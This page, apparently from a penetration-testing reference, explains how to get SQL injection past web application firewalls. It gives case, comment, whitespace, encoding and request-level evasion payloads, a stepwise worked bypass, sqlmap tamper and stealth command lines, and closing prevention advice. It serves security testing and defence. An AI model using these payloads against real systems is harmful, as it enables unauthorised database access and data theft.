WAF Bypass
Web application firewalls match patterns; databases parse grammar. Every gap between those two is a bypass.
Why WAFs Are Bypassable
A WAF sees an HTTP request and tries to predict what the database will do with it. The database sees SQL and applies a full grammar. Between those two views there is a large gap, and every bypass technique exploits some part of it:
- The WAF normalises differently from the database (encoding, whitespace, case).
- The WAF's regex matches a keyword shape the database accepts in other forms.
- The WAF inspects part of the request; the application reads a different part.
- The WAF has a size or depth limit; the database does not.
A WAF is a compensating control that buys time and blocks automated tooling. It is not a fix, and a rule that requires bypassing is still protecting a vulnerable query. Treat a bypassed WAF as a finding about the WAF, and the injection underneath it as the finding that matters.
Identify the WAF First
Bypasses are product-specific. Determine what you are against before guessing.
Signals: a distinctive block page or reference ID, a Server or X- header, a specific status code (406, 419, 429 are common), a cookie set on the block response, or timing (an inline WAF blocks fast, an out-of-band one lets the request through then resets).
wafw00f fingerprints most commercial products. Once identified, look up its known normalisation quirks rather than working blind.
Then find the boundary. Send progressively simpler payloads until one passes: ' OR 1=1-- -, then ' OR 1=1, then ' OR 1, then '. Knowing exactly which token triggers the block tells you what to transform.
Case and Comment Manipulation
-- SQL keywords are case-insensitive; naive regexes are not.
SeLeCt UnIoN sElEcT
-- Inline comments break up keywords without changing the parse.
UN/**/ION SE/**/LECT
UNION/**/SELECT
SEL/*random*/ECT
-- Repeated keywords: a WAF that STRIPS "union" rather than blocking
-- reassembles the keyword for you.
UNIunionON SELselectECT -- after stripping -> UNION SELECT
-- MySQL versioned comments: executed by MySQL, invisible to
-- anything that treats /* */ as a comment.
/*!SELECT*/ 1
/*!50000SELECT*/ 1 -- runs on MySQL >= 5.00.00
/*!12345UNION*/ /*!12345SELECT*/ 1,2,3
-- Nested comments confuse naive strippers
/*/**/SELECT/**/*/Whitespace Alternatives
Rules frequently match union\s+select. Databases accept a much wider set of separators than \s covers — and in some positions accept none at all.
Useful substitutes: %09 (tab), %0a (newline), %0b (vertical tab), %0c (form feed), %0d (carriage return), %a0 (non-breaking space, MySQL), and /**/.
Parentheses remove the need for whitespace entirely, which is the most robust variant:
-- Standard
UNION SELECT 1,2,3 FROM users WHERE id=1
-- No spaces at all
UNION(SELECT(1),(2),(3)FROM(users)WHERE(id)=(1))
-- Mixed separators
UNION%0aSELECT%091,2,3
UNION%a0SELECT%0b1,2,3 -- %a0 works on MySQL
-- Comment as separator
UNION/**/SELECT/**/1,2,3
Avoiding Blocked Keywords
| Blocked | Alternative | Engine |
|---|---|---|
| OR | || | | MySQL (with PIPES_AS_CONCAT off), PostgreSQL |
| AND | && & | MySQL |
| = | LIKE <> BETWEEN IN REGEXP | All |
| ' (quote) | 0x61646d696e CHAR(97,100,109,105,110) | MySQL / all |
| SPACE | /**/ %09 %0a () | All |
| UNION SELECT | UNION ALL SELECT UNION DISTINCT SELECT | All |
| SUBSTRING | MID SUBSTR LEFT/RIGHT LPAD | MySQL |
| ASCII | ORD HEX BIN CONV | MySQL |
| SLEEP | BENCHMARK GET_LOCK heavy join | MySQL |
| information_schema | sys.schema_table_statistics mysql.innodb_table_stats | MySQL 5.7+ |
| -- comment | # /* */ ;%00 | MySQL |
| CONCAT | || CONCAT_WS adjacent literals 'a' 'b' | MySQL |
Encoding and Normalisation Gaps
The classic bypass is a difference in when each layer decodes.
Double URL encoding. If the WAF decodes once and the application server decodes again, %2527 is %27 to the WAF and ' to the application. Effective against reverse-proxy WAFs in front of a server that decodes independently.
Mixed encoding. Encoding only some characters (%53ELECT) defeats rules that match literal text but not those that normalise first.
Unicode. Overlong UTF-8 sequences and full-width forms (SELECT, U+FF33 onward) are normalised by some stacks into ASCII after the WAF has inspected them.
Hex literals. 0x61646d696e on MySQL contains no quotes at all, defeating quote-based rules outright. CHAR(97,100,109,105,110) is the portable equivalent.
Charset declaration. Setting an unusual Content-Type charset (ibm037, utf-16) can cause the WAF to inspect bytes it cannot interpret while the application decodes them correctly.
' -> %27 -> %2527 (double-encoded)
SELECT -> %53%45%4c%45%43%54 (fully encoded)
SELECT -> %53ELECT (partially encoded)
'admin' -> 0x61646d696e (hex, no quotes)
Request-Level Evasion
Sometimes the payload never needs transforming — you just deliver it somewhere the WAF is not looking.
Change the method. A rule written for GET query strings may not apply to a POST body, or vice versa. Try POST with the parameter in the body, and try method override headers (X-HTTP-Method-Override).
Change the content type. JSON, XML, and multipart bodies are parsed by different WAF modules with different coverage. Multipart in particular has many parser-differential bugs.
Parameter pollution. Send the parameter twice: ?id=1&id=' OR 1=1-- -. WAFs and application servers disagree about which occurrence wins — ASP takes the concatenation of both, PHP takes the last, JSP takes the first.
Exceed the inspection limit. Most WAFs stop inspecting a body after a size threshold. Pad with a large benign field and place the payload after it.
Chunked transfer encoding. Splitting the payload across chunks defeats inspectors that do not reassemble.
Nulls and control characters. %00 truncates some parsers mid-inspection while the database reads the whole value.
Worked Example
Target blocks: ' UNION SELECT 1,2,3-- -
1. Locate the trigger
' -> allowed
' UNION -> BLOCKED <- keyword is the trigger
' SELECT -> BLOCKED
2. Case variation
' UnIoN SeLeCt 1,2,3 -> BLOCKED (WAF normalises case)
3. Inline comments
' UN/**/ION SE/**/LECT -> BLOCKED (WAF strips comments)
4. Versioned comment (MySQL only — engine already fingerprinted)
' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3 -> ALLOWED, executes
5. Remove whitespace entirely as a fallback
'/**/UNION(SELECT(1),(2),(3))-- - -> ALLOWED
Each step is informed by what the previous one revealed. Blind
permutation is far slower than reasoning about what the WAF normalises.Tooling
sqlmap ships tamper scripts that automate most of the transformations above. Chain them and set a lower risk/level to reduce noise:
# Fingerprint first
wafw00f https://target.example.com
# Common chains
sqlmap -u 'https://t/x?id=1' --tamper=space2comment,between,randomcase
sqlmap -u 'https://t/x?id=1' --tamper=charunicodeencode,space2plus
sqlmap -u 'https://t/x?id=1' --tamper=versionedmorekeywords # MySQL
# Slow down and look less like a scanner
sqlmap -u '...' --delay=2 --random-agent --safe-url=https://t/ --safe-freq=3
List everything available with sqlmap --list-tampers. See Tooling for the wider workflow.
Be aware that heavy tampering plus high --risk is exactly the pattern that gets an engagement IP blocked. Confirm manually first, then automate narrowly.
Prevention
Fix the query. Parameterisation makes every technique on this page irrelevant. A WAF in front of a parameterised query is defence in depth; a WAF in front of a concatenated query is a delay.
For the WAF itself, if you are configuring one:
- Normalise before matching, and normalise the same way the application stack does. Most bypasses are normalisation mismatches.
- Prefer positive security models. Allowlisting expected input shapes per parameter is far more robust than blocklisting attack patterns.
- Do not strip and forward. Rules that remove a matched keyword and pass the rest along are actively harmful — see the
UNIunionONcase above. Block the request instead. - Alert on bypass attempts. The encoding permutations here are noisy and distinctive. A WAF that logs them gives your detection team a strong signal even when a request slips through.
- Test the WAF against your own stack's decoding behaviour, not against a generic payload list.
Related
Working around application-level defences: blocked quotes, stripped keywords, escaped input, and length caps — without a WAF in sight.
Fingerprinting, syntax, metadata access, file operations and command execution on the most commonly encountered engine.
Appending a second SELECT to the original query so its rows are returned alongside the application's own results. The fastest extraction path when output is visible.
sqlmap in practice — techniques, tamper scripts, escalation flags — plus Burp, and when to write your own extraction script instead.
Parameterisation removes the bug; these layers limit the blast radius when a parameterisation is missed. Least privilege, allowlists, monitoring, and what each is actually worth.